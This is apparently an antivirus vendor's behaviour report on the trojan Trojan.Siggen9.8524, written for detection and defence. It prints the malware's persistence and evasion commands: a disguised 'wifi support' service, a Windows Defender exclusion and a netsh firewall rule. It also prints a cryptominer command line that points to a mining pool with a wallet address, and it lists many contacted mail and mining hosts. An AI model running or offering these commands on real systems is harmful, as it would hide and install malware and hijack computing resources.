Trojan.Siggen9.8524

Technical Information

To ensure autorun and distribution

Creates the following services

[<HKLM>\System\CurrentControlSet\Services\iqjopptb] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\iqjopptb] 'ImagePath' = '%WINDIR%\SysWOW64\iqjopptb\ofbizycg.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\iqjopptb] 'ImagePath' = '%WINDIR%\SysWOW64\iqjopptb\ofbizycg.exe'

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\iqjopptb' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\ofbizycg.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\ofbizycg.exe to %WINDIR%\syswow64\iqjopptb\ofbizycg.exe

Deletes itself.

Network activity

Connects to

'mt##.##0.yahoodns.net':25

TCP

'43.#31.4.7':443
'ma##.##st-my-mail.com':25
'ci#####s2.citac.edu.hk':25
'18#.#65.238.150':419
'78.#1.67.23':419
'17#.#.114.177':419
'46.#.52.109':419
'93.##9.69.109':419
'46.#8.66.2':419
'ye######.mxmail.netease.com':25
'mx#.##il.ovh.net':25
'tn####.telefonica.net':25
'sm####.laposte.net':25
'alt2.gmail-smtp-in.l.google.com':25
'mx###.##il.gm0.yahoodns.net':25
'mx.##timum.net':25
'ma#####ter.hibox.biz':25
'ja###avoie.com':25
'mx#.###.#ailpod8-cph3.one.com':25
'cn####2.uber.com':443
'ho#########.olc.protection.outlook.com':25
'it####ctalkat.com':25
'bu####.#omtecsolutions.com':25
'ja####ntacana.com':25
'85.##4.134.88':483
'eu#.###.#rotection.outlook.com':25
'aspmx.l.google.com':25
'pb#####ce4.pobox.com':25
'mi####.bittubeapp.com':13333
'mx###.##il.am0.yahoodns.net':25
'ma##.##b-solutions.dk':25
'mt##.##0.yahoodns.net':25
'mx##.mb1p.com':25
'ma##.jamnik.si':25
'kc#####.##il.protection.outlook.com':25
'ms#####p-mx2.hinet.net':25
'ma##.#-email.net':25
'mx#.##rthlink.net':25
'alt1.ASPMX.L.GOOGLE.COM':25
'pu######1.mail2world.com':25
'ms#####p-mx1.hinet.net':25
'mx####.##il.gm0.yahoodns.net':25
'mx.##.#tinternet.com':25
'mx#.ovh.net':25
'alt2.aspmx.l.google.com':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK mx#.##il.ovh.net
DNS ASK la##ste.net
DNS ASK sm####.laposte.net
DNS ASK vi###tron.ca
DNS ASK mx.##deotron.ca
DNS ASK ic##ud.com
DNS ASK mx#.##il.icloud.com
DNS ASK ex##ft.com
DNS ASK ma##.exmsft.com
DNS ASK au#.ibm.com
DNS ASK mx######b2d01.pphosted.com
DNS ASK te###onica.net
DNS ASK tn####.telefonica.net
DNS ASK gm##l.com
DNS ASK alt2.gmail-smtp-in.l.google.com
DNS ASK ed#####on-nouvelle.org
DNS ASK ho##ail.de
DNS ASK ye######.mxmail.netease.com
DNS ASK ap.net
DNS ASK ja###avoie.com
DNS ASK at####ebmail.com
DNS ASK ch##ter.net
DNS ASK mx#.#harter.net
DNS ASK ne###ape.net
DNS ASK ev##fab.com
DNS ASK bu####.#omtecsolutions.com
DNS ASK ho##ail.com
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK it##for.com
DNS ASK ha##ail.com
DNS ASK ma##.##st-my-mail.com
DNS ASK it####ctalkat.com
DNS ASK ev###aith.com
DNS ASK ci#####s2.citac.edu.hk
DNS ASK ye##.net
DNS ASK ki##.com
DNS ASK mx###.##il.gm0.yahoodns.net
DNS ASK ne##ero.com
DNS ASK mx#.#omcast.net
DNS ASK ot##et.gr
DNS ASK mx#.#tenet.gr
DNS ASK we#.de
DNS ASK mx###02.web.de
DNS ASK ol####c-airways.gr
DNS ASK li##.com
DNS ASK mx.##enet.gr
DNS ASK gr###iti.net
DNS ASK mx#.gmx.com
DNS ASK ya###.com.au
DNS ASK rm.##mcom.it
DNS ASK so.##mcom.it
DNS ASK alt2.aspmx.l.google.com
DNS ASK al####homenet.com
DNS ASK co##ast.net
DNS ASK sk#.com
DNS ASK cn####2.uber.com
DNS ASK mx.####datacenter.net
DNS ASK cm#.#inet.net
DNS ASK ma#####ter.hibox.biz
DNS ASK op###line.net
DNS ASK mx.##timum.net
DNS ASK le##lar.se
DNS ASK ma##.lexolar.se
DNS ASK ja####ntacana.com
DNS ASK li###sign.se
DNS ASK li###kvist.se
DNS ASK mx#######d01.gslb.pphosted.com
DNS ASK gm#.net
DNS ASK mx##.#mig.gmx.net
DNS ASK lo##s.se
DNS ASK mx#.###.#ailpod8-cph3.one.com
DNS ASK ar##ia.com
DNS ASK mx.##a.untd.com
DNS ASK ga##es.com
DNS ASK mo.##mcom.it
DNS ASK mx.#.#ocaweb.com.br
DNS ASK nt###rld.com
DNS ASK ya##o.co.uk
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK kc#.com
DNS ASK kc#####.##il.protection.outlook.com
DNS ASK ja##dat.dk
DNS ASK ma##.##b-solutions.dk
DNS ASK sh##tel.net
DNS ASK ba######a.cloud.shentel.net
DNS ASK ks#.com
DNS ASK ma###2.ksb.com
DNS ASK ja##ik.si
DNS ASK ma##.jamnik.si
DNS ASK ms##.hinet.net
DNS ASK ms#####p-mx2.hinet.net
DNS ASK sf##.com
DNS ASK mx##.mb1p.com
DNS ASK da###ehring.com
DNS ASK mi####.bittubeapp.com
DNS ASK mt##.##0.yahoodns.net
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK ho##ail.fr
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK bo####2.pobox.com
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK pb#####ce4.pobox.com
DNS ASK ch######herdthompson.com
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK aspmx.l.google.com
DNS ASK co#.net
DNS ASK cx#.##.#.cloudfilter.net
DNS ASK ya##o.com
DNS ASK fr####egonemail.com
DNS ASK ma##.#-email.net
DNS ASK ly##s.com
DNS ASK mx.#####.#om.cust.b.hostedemail.com
DNS ASK sm##.##cureserver.net
DNS ASK ma##.com
DNS ASK mx##.mail.com
DNS ASK fa##rs.com
DNS ASK sc###rexltd.com
DNS ASK bt###ernet.com
DNS ASK at##hmr.com
DNS ASK mx.##.#tinternet.com
DNS ASK mx.##.##mail.iss.as9143.net
DNS ASK rk##.com
DNS ASK mx#######b02.gslb.pphosted.com
DNS ASK ma##c.com
DNS ASK fa###ource.com
DNS ASK ma##.#appyisp.com
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK jv###allo.com
DNS ASK ve##zon.net
DNS ASK ho##ail.it
DNS ASK mx#.ovh.net
DNS ASK alt1.ASPMX.L.GOOGLE.COM
DNS ASK ex##te.com
DNS ASK ma#######xcite.roc2.bluetie.com
DNS ASK ea###link.net
DNS ASK mx#.##rthlink.net
DNS ASK re##ult.com
DNS ASK fa###p.com.br
DNS ASK ma###keith.com
DNS ASK sm##.renault.fr
DNS ASK gm#.com
DNS ASK mx##.gmx.net
DNS ASK gl##o.com
DNS ASK mx#.####o.locaweb.com.br
DNS ASK ms#####p-mx1.hinet.net
DNS ASK 2h###rgy.com
DNS ASK ch#####pherdouglas.net
DNS ASK pu######1.mail2world.com
DNS ASK li######.#lc.protection.outlook.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\iqjopptb\ofbizycg.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\iqjopptb\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ofbizycg.exe" %WINDIR%\SysWOW64\iqjopptb\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create iqjopptb binPath= "%WINDIR%\SysWOW64\iqjopptb\ofbizycg.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description iqjopptb "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start iqjopptb' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\iqjopptb\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ofbizycg.exe" %WINDIR%\SysWOW64\iqjopptb\
'%WINDIR%\syswow64\sc.exe' create iqjopptb binPath= "%WINDIR%\SysWOW64\iqjopptb\ofbizycg.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description iqjopptb "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start iqjopptb
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs4msiPiHNGTd5uzvZ9AGM1tjQoTiEX9BXopJg5er3ebEQ8a8mcwkjP5jNwst8rmVSRuogLs18DAVQzV76oHkVBk27idvmtUp.60000 -p x -k

Технологии

Термины

Обучение и просвещение

Мифы

Technical Information

Рекомендации по лечению

Демо бесплатно на 14 дней